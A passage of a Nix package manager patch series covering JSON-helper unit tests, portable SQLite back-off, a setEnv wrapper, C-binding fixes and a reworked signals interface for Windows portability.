$(d)/*.cc) + +libfetchers-tests_EXTRA_INCLUDES = \ + -I tests/unit/libstore-support \ + -I tests/unit/libutil-support \ + $(INCLUDE_libfetchers) \ + $(INCLUDE_libstore) \ + $(INCLUDE_libutil) + +libfetchers-tests_CXXFLAGS += $(libfetchers-tests_EXTRA_INCLUDES) + +libfetchers-tests_LIBS = \ + libstore-test-support libutil-test-support \ + libfetchers libstore libutil + +libfetchers-tests_LDFLAGS := -lrapidcheck $(GTEST_LIBS) diff --git a/tests/unit/libfetchers/public-key.cc b/tests/unit/libfetchers/public-key.cc new file mode 100644 index 000000000..fcd5c3af0 --- /dev/null +++ b/tests/unit/libfetchers/public-key.cc @@ -0,0 +1,18 @@ +#include +#include "fetchers.hh" +#include "json-utils.hh" + +namespace nix { + TEST(PublicKey, jsonSerialization) { + auto json = nlohmann::json(fetchers::PublicKey { .key = "ABCDE" }); + + ASSERT_EQ(json, R"({ "key": "ABCDE", "type": "ssh-ed25519" })"_json); + } + TEST(PublicKey, jsonDeserialization) { + auto pubKeyJson = R"({ "key": "ABCDE", "type": "ssh-ed25519" })"_json; + fetchers::PublicKey pubKey = pubKeyJson; + + ASSERT_EQ(pubKey.key, "ABCDE"); + ASSERT_EQ(pubKey.type, "ssh-ed25519"); + } +} diff --git a/tests/unit/libutil/json-utils.cc b/tests/unit/libutil/json-utils.cc index f0ce15c93..ffa667806 100644 --- a/tests/unit/libutil/json-utils.cc +++ b/tests/unit/libutil/json-utils.cc @@ -3,6 +3,7 @@ #include +#include "error.hh" #include "json-utils.hh" namespace nix { @@ -55,4 +56,108 @@ TEST(from_json, vectorOfOptionalInts) { ASSERT_FALSE(vals.at(1).has_value()); } +TEST(valueAt, simpleObject) { + auto simple = R"({ "hello": "world" })"_json; + + ASSERT_EQ(valueAt(getObject(simple), "hello"), "world"); + + auto nested = R"({ "hello": { "world": "" } })"_json; + + auto & nestedObject = valueAt(getObject(nested), "hello"); + + ASSERT_EQ(valueAt(nestedObject, "world"), ""); +} + +TEST(valueAt, missingKey) { + auto json = R"({ "hello": { "nested": "world" } })"_json; + + auto & obj = getObject(json); + + ASSERT_THROW(valueAt(obj, "foo"), Error); +} + +TEST(getObject, rightAssertions) { + auto simple = R"({ "object": {} })"_json; + + ASSERT_EQ(getObject(valueAt(getObject(simple), "object")), (nlohmann::json::object_t {})); + + auto nested = R"({ "object": { "object": {} } })"_json; + + auto & nestedObject = getObject(valueAt(getObject(nested), "object")); + + ASSERT_EQ(nestedObject, getObject(nlohmann::json::parse(R"({ "object": {} })"))); + ASSERT_EQ(getObject(valueAt(getObject(nestedObject), "object")), (nlohmann::json::object_t {})); +} + +TEST(getObject, wrongAssertions) { + auto json = R"({ "object": {}, "array": [], "string": "", "int": 0, "boolean": false })"_json; + + auto & obj = getObject(json); + + ASSERT_THROW(getObject(valueAt(obj, "array")), Error); + ASSERT_THROW(getObject(valueAt(obj, "string")), Error); + ASSERT_THROW(getObject(valueAt(obj, "int")), Error); + ASSERT_THROW(getObject(valueAt(obj, "boolean")), Error); +} + +TEST(getArray, rightAssertions) { + auto simple = R"({ "array": [] })"_json; + + ASSERT_EQ(getArray(valueAt(getObject(simple), "array")), (nlohmann::json::array_t {})); +} + +TEST(getArray, wrongAssertions) { + auto json = R"({ "object": {}, "array": [], "string": "", "int": 0, "boolean": false })"_json; + + ASSERT_THROW(getArray(valueAt(json, "object")), Error); + ASSERT_THROW(getArray(valueAt(json, "string")), Error); + ASSERT_THROW(getArray(valueAt(json, "int")), Error); + ASSERT_THROW(getArray(valueAt(json, "boolean")), Error); +} + +TEST(getString, rightAssertions) { + auto simple = R"({ "string": "" })"_json; + + ASSERT_EQ(getString(valueAt(getObject(simple), "string")), ""); +} + +TEST(getString, wrongAssertions) { + auto json = R"({ "object": {}, "array": [], "string": "", "int": 0, "boolean": false })"_json; + + ASSERT_THROW(getString(valueAt(json, "object")), Error); + ASSERT_THROW(getString(valueAt(json, "array")), Error); + ASSERT_THROW(getString(valueAt(json, "int")), Error); + ASSERT_THROW(getString(valueAt(json, "boolean")), Error); +} + +TEST(getInteger, rightAssertions) { + auto simple = R"({ "int": 0 })"_json; + + ASSERT_EQ(getInteger(valueAt(getObject(simple), "int")), 0); +} + +TEST(getInteger, wrongAssertions) { + auto json = R"({ "object": {}, "array": [], "string": "", "int": 0, "boolean": false })"_json; + + ASSERT_THROW(getInteger(valueAt(json, "object")), Error); + ASSERT_THROW(getInteger(valueAt(json, "array")), Error); + ASSERT_THROW(getInteger(valueAt(json, "string")), Error); + ASSERT_THROW(getInteger(valueAt(json, "boolean")), Error); +} + +TEST(getBoolean, rightAssertions) { + auto simple = R"({ "boolean": false })"_json; + + ASSERT_EQ(getBoolean(valueAt(getObject(simple), "boolean")), false); +} + +TEST(getBoolean, wrongAssertions) { + auto json = R"({ "object": {}, "array": [], "string": "", "int": 0, "boolean": false })"_json; + + ASSERT_THROW(getBoolean(valueAt(json, "object")), Error); + ASSERT_THROW(getBoolean(valueAt(json, "array")), Error); + ASSERT_THROW(getBoolean(valueAt(json, "string")), Error); + ASSERT_THROW(getBoolean(valueAt(json, "int")), Error); +} + } /* namespace nix */ From 1577b5fa6732ef55d51ace6fc930f27c78e095b6 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 4 Apr 2024 12:42:41 -0400 Subject: [PATCH 0398/1251] Make SQLite busy back-off logic portable Use C++ standard library not Unix functions for sleeping and randomness. Suggested by @edolstra in https://github.com/NixOS/nix/pull/8901#discussion_r1550416615 --- src/libstore/sqlite.cc | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/src/libstore/sqlite.cc b/src/libstore/sqlite.cc index 06abfb90b..3175c1978 100644 --- a/src/libstore/sqlite.cc +++ b/src/libstore/sqlite.cc @@ -7,6 +7,7 @@ #include #include +#include namespace nix { @@ -256,10 +257,8 @@ void handleSQLiteBusy(const SQLiteBusy & e, time_t & nextWarning) /* Sleep for a while since retrying the transaction right away is likely to fail again. */ checkInterrupt(); - struct timespec t; - t.tv_sec = 0; - t.tv_nsec = (random() % 100) * 1000 * 1000; /* <= 0.1s */ - nanosleep(&t, 0); + /* <= 0.1s */ + std::this_thread::sleep_for(std::chrono::milliseconds { rand() % 100 }); } } From ef2d10f7e71fbbeb2fe78c327ffe5469e8ae4d04 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 4 Apr 2024 12:48:54 -0400 Subject: [PATCH 0399/1251] Clean up env var logic in preparation for Windows MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit It's a little weird we don't check the return status for these, but changing that would introduce risk so I did not. Co-authored-by: Théophane Hufschmitt <7226587+thufschmitt@users.noreply.github.com> --- src/libmain/shared.cc | 4 ++-- src/libutil/environment-variables.cc | 13 +++++++++++++ src/libutil/environment-variables.hh | 8 ++++++++ src/libutil/unix/environment-variables.cc | 17 ++++------------- src/nix-build/nix-build.cc | 2 +- src/nix/develop.cc | 4 ++-- src/nix/unix/run.cc | 2 +- tests/unit/libexpr/primops.cc | 2 +- 8 files changed, 32 insertions(+), 20 deletions(-) diff --git a/src/libmain/shared.cc b/src/libmain/shared.cc index 7bced0aa4..f3dd73101 100644 --- a/src/libmain/shared.cc +++ b/src/libmain/shared.cc @@ -308,7 +308,7 @@ void printVersion(const std::string & programName) void showManPage(const std::string & name) { restoreProcessContext(); - setenv("MANPATH", settings.nixManDir.c_str(), 1); + setEnv("MANPATH", settings.nixManDir.c_str()); execlp("man", "man", name.c_str(), nullptr); throw SysError("command 'man %1%' failed", name.c_str()); } @@ -369,7 +369,7 @@ RunPager::RunPager() if (dup2(toPager.readSide.get(), STDIN_FILENO) == -1) throw SysError("dupping stdin"); if (!getenv("LESS")) - setenv("LESS", "FRSXMK", 1); + setEnv("LESS", "FRSXMK"); restoreProcessContext(); if (pager) execl("/bin/sh", "sh", "-c", pager, nullptr); diff --git a/src/libutil/environment-variables.cc b/src/libutil/environment-variables.cc index 7f4bb2d00..d43197aa0 100644 --- a/src/libutil/environment-variables.cc +++ b/src/libutil/environment-variables.cc @@ -32,4 +32,17 @@ std::map getEnv() return env; } +void clearEnv() +{ + for (auto & name : getEnv()) + unsetenv(name.first.c_str()); +} + +void replaceEnv(const std::map & newEnv) +{ + clearEnv(); + for (auto & newEnvVar : newEnv) + setEnv(newEnvVar.first.c_str(), newEnvVar.second.c_str()); +} + } diff --git a/src/libutil/environment-variables.hh b/src/libutil/environment-variables.hh index 21eb4619b..21c2356a4 100644 --- a/src/libutil/environment-variables.hh +++ b/src/libutil/environment-variables.hh @@ -28,6 +28,14 @@ std::optional getEnvNonEmpty(const std::string & key); */ std::map getEnv(); +/** + * Like POSIX `setenv`, but always overrides. + * + * We don't need the non-overriding version, and this is easier to + * reimplement on Windows. + */ +int setEnv(const char * name, const char * value); + /** * Clear the environment. */ diff --git a/src/libutil/unix/environment-variables.cc b/src/libutil/unix/environment-variables.cc index c72880896..9c6fd3b18 100644 --- a/src/libutil/unix/environment-variables.cc +++ b/src/libutil/unix/environment-variables.cc @@ -1,21 +1,12 @@ -#include "util.hh" -#include "environment-variables.hh" +#include -extern char * * environ __attribute__((weak)); +#include "environment-variables.hh" namespace nix { -void clearEnv() +int setEnv(const char * name, const char * value) { - for (auto & name : getEnv()) - unsetenv(name.first.c_str()); -} - -void replaceEnv(const std::map & newEnv) -{ - clearEnv(); - for (auto & newEnvVar : newEnv) - setenv(newEnvVar.first.c_str(), newEnvVar.second.c_str(), 1); + return ::setenv(name, value, 1); } } diff --git a/src/nix-build/nix-build.cc b/src/nix-build/nix-build.cc index 8276be8e8..60dea3a80 100644 --- a/src/nix-build/nix-build.cc +++ b/src/nix-build/nix-build.cc @@ -288,7 +288,7 @@ static void main_nix_build(int argc, char * * argv) } if (runEnv) - setenv("IN_NIX_SHELL", pure ? "pure" : "impure", 1); + setEnv("IN_NIX_SHELL", pure ? "pure" : "impure"); PackageInfos drvs; diff --git a/src/nix/develop.cc b/src/nix/develop.cc index c1842f2d5..bb96f7786 100644 --- a/src/nix/develop.cc +++ b/src/nix/develop.cc @@ -603,7 +603,7 @@ struct CmdDevelop : Common, MixEnvironment setEnviron(); // prevent garbage collection until shell exits - setenv("NIX_GCROOT", gcroot.c_str(), 1); + setEnv("NIX_GCROOT", gcroot.c_str()); Path shell = "bash"; @@ -648,7 +648,7 @@ struct CmdDevelop : Common, MixEnvironment // Override SHELL with the one chosen for this environment. // This is to make sure the system shell doesn't leak into the build environment. - setenv("SHELL", shell.c_str(), 1); + setEnv("SHELL", shell.c_str()); // If running a phase or single command, don't want an interactive shell running after // Ctrl-C, so don't pass --rcfile diff --git a/src/nix/unix/run.cc b/src/nix/unix/run.cc index e86837679..02e809e5c 100644 --- a/src/nix/unix/run.cc +++ b/src/nix/unix/run.cc @@ -134,7 +134,7 @@ struct CmdShell : InstallablesCommand, MixEnvironment auto unixPath = tokenizeString(getEnv("PATH").value_or(""), ":"); unixPath.insert(unixPath.begin(), pathAdditions.begin(), pathAdditions.end()); auto unixPathString = concatStringsSep(":", unixPath); - setenv("PATH", unixPathString.c_str(), 1); + setEnv("PATH", unixPathString.c_str()); Strings args; for (auto & arg : command) args.push_back(arg); diff --git a/tests/unit/libexpr/primops.cc b/tests/unit/libexpr/primops.cc index b1426edae..92319e0c3 100644 --- a/tests/unit/libexpr/primops.cc +++ b/tests/unit/libexpr/primops.cc @@ -91,7 +91,7 @@ namespace nix { } TEST_F(PrimOpTest, getEnv) { - setenv("_NIX_UNIT_TEST_ENV_VALUE", "test value", 1); + setEnv("_NIX_UNIT_TEST_ENV_VALUE", "test value"); auto v = eval("builtins.getEnv \"_NIX_UNIT_TEST_ENV_VALUE\""); ASSERT_THAT(v, IsStringEq("test value")); } From c1e07693558eb94855b97ae44e01f51909d9fdac Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 4 Apr 2024 15:24:42 -0400 Subject: [PATCH 0400/1251] Fix some portability issues with the new C bindings Build without GC is unbroken Fix #10403 Also building tests with Windows (assuming rest of Windows fixes) is unbroken. --- src/libexpr-c/local.mk | 2 +- src/libexpr-c/nix_api_expr.cc | 4 ++-- src/libexpr-c/nix_api_external.cc | 6 +++--- src/libexpr-c/nix_api_value.cc | 8 ++++---- src/libstore-c/local.mk | 2 +- src/libutil-c/local.mk | 2 +- tests/unit/libstore-support/tests/nix_api_store.hh | 14 +++++++++++++- 7 files changed, 25 insertions(+), 13 deletions(-) diff --git a/src/libexpr-c/local.mk b/src/libexpr-c/local.mk index ce5d321d6..51b02562e 100644 --- a/src/libexpr-c/local.mk +++ b/src/libexpr-c/local.mk @@ -17,7 +17,7 @@ libexprc_CXXFLAGS += $(INCLUDE_libutil) $(INCLUDE_libutilc) \ libexprc_LIBS = libutil libutilc libstore libstorec libexpr -libexprc_LDFLAGS += -pthread +libexprc_LDFLAGS += $(THREAD_LDFLAGS) $(eval $(call install-file-in, $(d)/nix-expr-c.pc, $(libdir)/pkgconfig, 0644)) diff --git a/src/libexpr-c/nix_api_expr.cc b/src/libexpr-c/nix_api_expr.cc index f18ef399b..a5c03d5aa 100644 --- a/src/libexpr-c/nix_api_expr.cc +++ b/src/libexpr-c/nix_api_expr.cc @@ -155,13 +155,13 @@ void nix_gc_now() } #else -void nix_gc_incref(nix_c_context * context, const void *) +nix_err nix_gc_incref(nix_c_context * context, const void *) { if (context) context->last_err_code = NIX_OK; return NIX_OK; } -void nix_gc_decref(nix_c_context * context, const void *) +nix_err nix_gc_decref(nix_c_context * context, const void *) { if (context) context->last_err_code = NIX_OK; diff --git a/src/libexpr-c/nix_api_external.cc b/src/libexpr-c/nix_api_external.cc index c237cfb70..3c3dd6ca9 100644 --- a/src/libexpr-c/nix_api_external.cc +++ b/src/libexpr-c/nix_api_external.cc @@ -1,7 +1,6 @@ #include "attr-set.hh" #include "config.hh" #include "eval.hh" -#include "gc/gc.h" #include "globals.hh" #include "value.hh" @@ -16,8 +15,9 @@ #include #ifdef HAVE_BOEHMGC -#define GC_INCLUDE_NEW 1 -#include "gc_cpp.h" +# include "gc/gc.h" +# define GC_INCLUDE_NEW 1 +# include "gc_cpp.h" #endif void nix_set_string_return(nix_string_return * str, const char * c) diff --git a/src/libexpr-c/nix_api_value.cc b/src/libexpr-c/nix_api_value.cc index 80e853b87..02bd154b3 100644 --- a/src/libexpr-c/nix_api_value.cc +++ b/src/libexpr-c/nix_api_value.cc @@ -1,7 +1,6 @@ #include "attr-set.hh" #include "config.hh" #include "eval.hh" -#include "gc/gc.h" #include "globals.hh" #include "primops.hh" #include "value.hh" @@ -13,8 +12,9 @@ #include "nix_api_value.h" #ifdef HAVE_BOEHMGC -#define GC_INCLUDE_NEW 1 -#include "gc_cpp.h" +# include "gc/gc.h" +# define GC_INCLUDE_NEW 1 +# include "gc_cpp.h" #endif // Helper function to throw an exception if value is null @@ -444,7 +444,7 @@ void nix_list_builder_free(ListBuilder * list_builder) #if HAVE_BOEHMGC GC_FREE(list_builder); #else - delete bb; + delete list_builder; #endif } diff --git a/src/libstore-c/local.mk b/src/libstore-c/local.mk index 36a8e77a4..5e3eff06a 100644 --- a/src/libstore-c/local.mk +++ b/src/libstore-c/local.mk @@ -8,7 +8,7 @@ libstorec_SOURCES := $(wildcard $(d)/*.cc) libstorec_LIBS = libutil libstore libutilc -libstorec_LDFLAGS += -pthread +libstorec_LDFLAGS += $(THREAD_LDFLAGS) # Not just for this library itself, but also for downstream libraries using this library diff --git a/src/libutil-c/local.mk b/src/libutil-c/local.mk index 342dc2d8b..f2df1ef43 100644 --- a/src/libutil-c/local.mk +++ b/src/libutil-c/local.mk @@ -13,6 +13,6 @@ libutilc_CXXFLAGS += $(INCLUDE_libutil) $(INCLUDE_libutilc) libutilc_LIBS = libutil -libutilc_LDFLAGS += -pthread +libutilc_LDFLAGS += $(THREAD_LDFLAGS) libutilc_FORCE_INSTALL := 1 diff --git a/tests/unit/libstore-support/tests/nix_api_store.hh b/tests/unit/libstore-support/tests/nix_api_store.hh index a8b60fbc3..a2d35d083 100644 --- a/tests/unit/libstore-support/tests/nix_api_store.hh +++ b/tests/unit/libstore-support/tests/nix_api_store.hh @@ -2,6 +2,8 @@ ///@file #include "tests/nix_api_util.hh" +#include "file-system.hh" + #include "nix_api_store.h" #include "nix_api_store_internal.h" @@ -37,8 +39,18 @@ public: protected: void init_local_store() { - auto tmpl = nix::getEnv("TMPDIR").value_or("/tmp") + "/tests_nix-store.XXXXXX"; +#ifdef _WIN32 + // no `mkdtemp` with MinGW + auto tmpl = nix::defaultTempDir() + "/tests_nix-store."; + for (size_t i = 0; true; ++i) { + nixDir = tmpl + std::string { i }; + if (fs::create_directory(nixDir)) break; + } +#else + auto tmpl = nix::defaultTempDir() + "/tests_nix-store.XXXXXX"; nixDir = mkdtemp((char *) tmpl.c_str()); +#endif + nixStoreDir = nixDir + "/my_nix_store"; // Options documented in `nix help-stores` From 50f621b24191fca6f4841c92d134e5945a77e512 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 4 Apr 2024 12:25:01 -0400 Subject: [PATCH 0401/1251] Better signals interface This avoids some CPP and accidentally using Unix stuff in client code. --- src/libcmd/repl.cc | 2 +- src/libfetchers/git-utils.cc | 4 +- src/libmain/shared.cc | 2 +- src/libstore/daemon.cc | 3 +- src/libstore/filetransfer.cc | 8 +-- src/libutil/current-process.cc | 2 +- src/libutil/signals.hh | 70 +++++++++++++++++++ src/libutil/thread-pool.cc | 2 +- src/libutil/unix/monitor-fd.hh | 2 +- .../unix/{signals.hh => signals-impl.hh} | 67 ++++++++++-------- src/libutil/unix/signals.cc | 23 +++--- 11 files changed, 134 insertions(+), 51 deletions(-) create mode 100644 src/libutil/signals.hh rename src/libutil/unix/{signals.hh => signals-impl.hh} (80%) diff --git a/src/libcmd/repl.cc b/src/libcmd/repl.cc index 7cecc60b7..4f1bf4516 100644 --- a/src/libcmd/repl.cc +++ b/src/libcmd/repl.cc @@ -357,7 +357,7 @@ ProcessLineResult NixRepl::processLine(std::string line) if (line.empty()) return ProcessLineResult::PromptAgain; - _isInterrupted = false; + setInterrupted(false); std::string command, arg; diff --git a/src/libfetchers/git-utils.cc b/src/libfetchers/git-utils.cc index b723554cc..5e560f5f3 100644 --- a/src/libfetchers/git-utils.cc +++ b/src/libfetchers/git-utils.cc @@ -348,7 +348,7 @@ struct GitRepoImpl : GitRepo, std::enable_shared_from_this { auto act = (Activity *) payload; act->result(resFetchStatus, trim(std::string_view(str, len))); - return _isInterrupted ? -1 : 0; + return getInterrupted() ? -1 : 0; } static int transferProgressCallback(const git_indexer_progress * stats, void * payload) @@ -361,7 +361,7 @@ struct GitRepoImpl : GitRepo, std::enable_shared_from_this stats->indexed_deltas, stats->total_deltas, stats->received_bytes / (1024.0 * 1024.0))); - return _isInterrupted ? -1 : 0; + return getInterrupted() ? -1 : 0; } void fetch( diff --git a/src/libmain/shared.cc b/src/libmain/shared.cc index f3dd73101..4c9051d3b 100644 --- a/src/libmain/shared.cc +++ b/src/libmain/shared.cc @@ -121,7 +121,7 @@ void initNix() initLibStore(); - startSignalHandlerThread(); + unix::startSignalHandlerThread(); /* Reset SIGCHLD to its default. */ struct sigaction act; diff --git a/src/libstore/daemon.cc b/src/libstore/daemon.cc index 2c808015d..def2c80b2 100644 --- a/src/libstore/daemon.cc +++ b/src/libstore/daemon.cc @@ -1,5 +1,6 @@ #include "daemon.hh" #include "monitor-fd.hh" +#include "signals.hh" #include "worker-protocol.hh" #include "worker-protocol-impl.hh" #include "build-result.hh" @@ -1038,7 +1039,7 @@ void processConnection( unsigned int opCount = 0; Finally finally([&]() { - _isInterrupted = false; + setInterrupted(false); printMsgUsing(prevLogger, lvlDebug, "%d operations", opCount); }); diff --git a/src/libstore/filetransfer.cc b/src/libstore/filetransfer.cc index 0d5379d25..df89b5bd1 100644 --- a/src/libstore/filetransfer.cc +++ b/src/libstore/filetransfer.cc @@ -258,11 +258,11 @@ struct curlFileTransfer : public FileTransfer int progressCallback(double dltotal, double dlnow) { try { - act.progress(dlnow, dltotal); + act.progress(dlnow, dltotal); } catch (nix::Interrupted &) { - assert(_isInterrupted); + assert(getInterrupted()); } - return _isInterrupted; + return getInterrupted(); } static int progressCallbackWrapper(void * userp, double dltotal, double dlnow, double ultotal, double ulnow) @@ -466,7 +466,7 @@ struct curlFileTransfer : public FileTransfer if (errorSink) response = std::move(errorSink->s); auto exc = - code == CURLE_ABORTED_BY_CALLBACK && _isInterrupted + code == CURLE_ABORTED_BY_CALLBACK && getInterrupted() ? FileTransferError(Interrupted, std::move(response), "%s of '%s' was interrupted", request.verb(), request.uri) : httpStatus != 0 ? FileTransferError(err, diff --git a/src/libutil/current-process.cc b/src/libutil/current-process.cc index c13e6d567..d33f7163a 100644 --- a/src/libutil/current-process.cc +++ b/src/libutil/current-process.cc @@ -82,7 +82,7 @@ void setStackSize(rlim_t stackSize) void restoreProcessContext(bool restoreMounts) { - restoreSignals(); + unix::restoreSignals(); if (restoreMounts) { #if __linux__ restoreMountNamespace(); diff --git a/src/libutil/signals.hh b/src/libutil/signals.hh new file mode 100644 index 000000000..0473128db --- /dev/null +++ b/src/libutil/signals.hh @@ -0,0 +1,70 @@ +#pragma once +///@file + +#include "types.hh" +#include "error.hh" +#include "logging.hh" + +#include + +namespace nix { + +/* User interruption. */ + +/** + * @note Does nothing on Windows + */ +static inline void setInterrupted(bool isInterrupted); + +/** + * @note Does nothing on Windows + */ +static inline bool getInterrupted(); + +/** + * @note Does nothing on Windows + */ +static inline void setInterruptCheck(std::function interruptCheck); + +/** + * @note Does nothing on Windows + */ +void setInterruptThrown(); + +/** + * @note Does nothing on Windows + */ +inline void checkInterrupt(); + +/** + * @note Never will happen on Windows + */ +MakeError(Interrupted, BaseError); + + +struct InterruptCallback +{ + virtual ~InterruptCallback() { }; +}; + +/** + * Register a function that gets called on SIGINT (in a non-signal + * context). + * + * @note Does nothing on Windows + */ +std::unique_ptr createInterruptCallback( + std::function callback); + +/** + * A RAII class that causes the current thread to receive SIGUSR1 when + * the signal handler thread receives SIGINT. That is, this allows + * SIGINT to be multiplexed to multiple threads. + * + * @note Does nothing on Windows + */ +struct ReceiveInterrupts; + +} + +#include "signals-impl.hh" diff --git a/src/libutil/thread-pool.cc b/src/libutil/thread-pool.cc index 9a7dfee56..805f31d80 100644 --- a/src/libutil/thread-pool.cc +++ b/src/libutil/thread-pool.cc @@ -82,7 +82,7 @@ void ThreadPool::doWork(bool mainThread) ReceiveInterrupts receiveInterrupts; if (!mainThread) - interruptCheck = [&]() { return (bool) quit; }; + unix::interruptCheck = [&]() { return (bool) quit; }; bool didWork = false; std::exception_ptr exc; diff --git a/src/libutil/unix/monitor-fd.hh b/src/libutil/unix/monitor-fd.hh index 228fb13f8..103894de9 100644 --- a/src/libutil/unix/monitor-fd.hh +++ b/src/libutil/unix/monitor-fd.hh @@ -50,7 +50,7 @@ public: */ if (count == 0) continue; if (fds[0].revents & POLLHUP) { - triggerInterrupt(); + unix::triggerInterrupt(); break; } /* This will only happen on macOS. We sleep a bit to diff --git a/src/libutil/unix/signals.hh b/src/libutil/unix/signals-impl.hh similarity index 80% rename from src/libutil/unix/signals.hh rename to src/libutil/unix/signals-impl.hh index 7e8beff33..7ac8c914d 100644 --- a/src/libutil/unix/signals.hh +++ b/src/libutil/unix/signals-impl.hh @@ -1,5 +1,14 @@ #pragma once -///@file +/** + * @file + * + * Implementation of some inline definitions for Unix signals, and also + * some extra Unix-only interfaces. + * + * (The only reason everything about signals isn't Unix-only is some + * no-op definitions are provided on Windows to avoid excess CPP in + * downstream code.) + */ #include "types.hh" #include "error.hh" @@ -24,22 +33,20 @@ namespace nix { /* User interruption. */ +namespace unix { + extern std::atomic _isInterrupted; extern thread_local std::function interruptCheck; -void setInterruptThrown(); - void _interrupted(); -void inline checkInterrupt() -{ - if (_isInterrupted || (interruptCheck && interruptCheck())) - _interrupted(); -} - -MakeError(Interrupted, BaseError); - +/** + * Sets the signal mask. Like saveSignalMask() but for a signal set that doesn't + * necessarily match the current thread's mask. + * See saveSignalMask() to set the saved mask to the current mask. + */ +void setChildSignalMask(sigset_t *sigs); /** * Start a thread that handles various signals. Also block those signals @@ -63,27 +70,27 @@ void saveSignalMask(); */ void restoreSignals(); -/** - * Sets the signal mask. Like saveSignalMask() but for a signal set that doesn't - * necessarily match the current thread's mask. - * See saveSignalMask() to set the saved mask to the current mask. - */ -void setChildSignalMask(sigset_t *sigs); - -struct InterruptCallback -{ - virtual ~InterruptCallback() { }; -}; - -/** - * Register a function that gets called on SIGINT (in a non-signal - * context). - */ -std::unique_ptr createInterruptCallback( - std::function callback); - void triggerInterrupt(); +} + +static inline void setInterrupted(bool isInterrupted) +{ + unix::_isInterrupted = isInterrupted; +} + +static inline bool getInterrupted() +{ + return unix::_isInterrupted; +} + +void inline checkInterrupt() +{ + using namespace unix; + if (_isInterrupted || (interruptCheck && interruptCheck())) + _interrupted(); +} + /** * A RAII class that causes the current thread to receive SIGUSR1 when * the signal handler thread receives SIGINT. That is, this allows diff --git a/src/libutil/unix/signals.cc b/src/libutil/unix/signals.cc index eaa4ea30e..7e30687d8 100644 --- a/src/libutil/unix/signals.cc +++ b/src/libutil/unix/signals.cc @@ -8,17 +8,22 @@ namespace nix { -std::atomic _isInterrupted = false; +using namespace unix; +std::atomic unix::_isInterrupted = false; + +namespace unix { static thread_local bool interruptThrown = false; -thread_local std::function interruptCheck; +} + +thread_local std::function unix::interruptCheck; void setInterruptThrown() { - interruptThrown = true; + unix::interruptThrown = true; } -void _interrupted() +void unix::_interrupted() { /* Block user interrupts while an exception is being handled. Throwing an exception while another exception is being handled @@ -65,7 +70,7 @@ static void signalHandlerThread(sigset_t set) } } -void triggerInterrupt() +void unix::triggerInterrupt() { _isInterrupted = true; @@ -96,7 +101,7 @@ void triggerInterrupt() static sigset_t savedSignalMask; static bool savedSignalMaskIsSet = false; -void setChildSignalMask(sigset_t * sigs) +void unix::setChildSignalMask(sigset_t * sigs) { assert(sigs); // C style function, but think of sigs as a reference @@ -115,14 +120,14 @@ void setChildSignalMask(sigset_t * sigs) savedSignalMaskIsSet = true; } -void saveSignalMask() { +void unix::saveSignalMask() { if (sigprocmask(SIG_BLOCK, nullptr, &savedSignalMask)) throw SysError("querying signal mask"); savedSignalMaskIsSet = true; } -void startSignalHandlerThread() +void unix::startSignalHandlerThread() { updateWindowSize(); @@ -141,7 +146,7 @@ void startSignalHandlerThread() std::thread(signalHandlerThread, set).detach(); } -void restoreSignals() +void unix::restoreSignals() { // If startSignalHandlerThread wasn't called, that means we're not running // in a proper libmain process, but a process that presumably manages its From 25584e215e8861ffe5cd6afc01995987f0629190 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Fri, 5 Apr 2024 12:03:53 +0200 Subject: [PATCH 0402/1251] fix: Remove duplicate imports from Makefile --- Makefile | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/Makefile b/Makefile index 9dc005f79..62194278d 100644 --- a/Makefile +++ b/Makefile @@ -28,10 +28,7 @@ makefiles = \ misc/zsh/local.mk \ misc/systemd/local.mk \ misc/launchd/local.mk \ - misc/upstart/local.mk \ - doc/manual/local.mk \ - doc/internal-api/local.mk \ - doc/external-api/local.mk + misc/upstart/local.mk endif ifeq ($(ENABLE_UNIT_TESTS), yes) From 75be3f23c69870946daf7d8bbe87b641f39a9e28 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Fri, 5 Apr 2024 16:03:25 +0200 Subject: [PATCH 0403/1251] setInterruptCheck(): Remove declared but undefined function --- src/libutil/signals.hh | 5 ----- 1 file changed, 5 deletions(-) diff --git a/src/libutil/signals.hh b/src/libutil/signals.hh index 0473128db..8bff345c3 100644 --- a/src/libutil/signals.hh +++ b/src/libutil/signals.hh @@ -21,11 +21,6 @@ static inline void setInterrupted(bool isInterrupted); */ static inline bool getInterrupted(); -/** - * @note Does nothing on Windows - */ -static inline void setInterruptCheck(std::function interruptCheck); - /** * @note Does nothing on Windows */ From 02c41aba5b5b135bae0de4961fcf4d3a888a9524 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Fri, 5 Apr 2024 16:08:18 +0200 Subject: [PATCH 0404/1251] libexpr-c: Add nix_string_realise --- src/libexpr-c/nix_api_expr_internal.h | 6 ++ src/libexpr-c/nix_api_value.cc | 55 ++++++++++++ src/libexpr-c/nix_api_value.h | 60 ++++++++++++- src/libexpr/eval.hh | 8 +- src/libexpr/primops.cc | 21 +++-- tests/unit/libexpr/nix_api_expr.cc | 85 +++++++++++++++++++ .../libutil-support/tests/nix_api_util.hh | 10 +++ 7 files changed, 235 insertions(+), 10 deletions(-) diff --git a/src/libexpr-c/nix_api_expr_internal.h b/src/libexpr-c/nix_api_expr_internal.h index b50a51347..7743849fd 100644 --- a/src/libexpr-c/nix_api_expr_internal.h +++ b/src/libexpr-c/nix_api_expr_internal.h @@ -35,4 +35,10 @@ struct nix_string_context nix::NixStringContext & ctx; }; +struct nix_realised_string +{ + std::string str; + std::vector storePaths; +}; + #endif // NIX_API_EXPR_INTERNAL_H diff --git a/src/libexpr-c/nix_api_value.cc b/src/libexpr-c/nix_api_value.cc index 02bd154b3..fd1bfc165 100644 --- a/src/libexpr-c/nix_api_value.cc +++ b/src/libexpr-c/nix_api_value.cc @@ -2,6 +2,7 @@ #include "config.hh" #include "eval.hh" #include "globals.hh" +#include "path.hh" #include "primops.hh" #include "value.hh" @@ -9,7 +10,9 @@ #include "nix_api_expr_internal.h" #include "nix_api_util.h" #include "nix_api_util_internal.h" +#include "nix_api_store_internal.h" #include "nix_api_value.h" +#include "value/context.hh" #ifdef HAVE_BOEHMGC # include 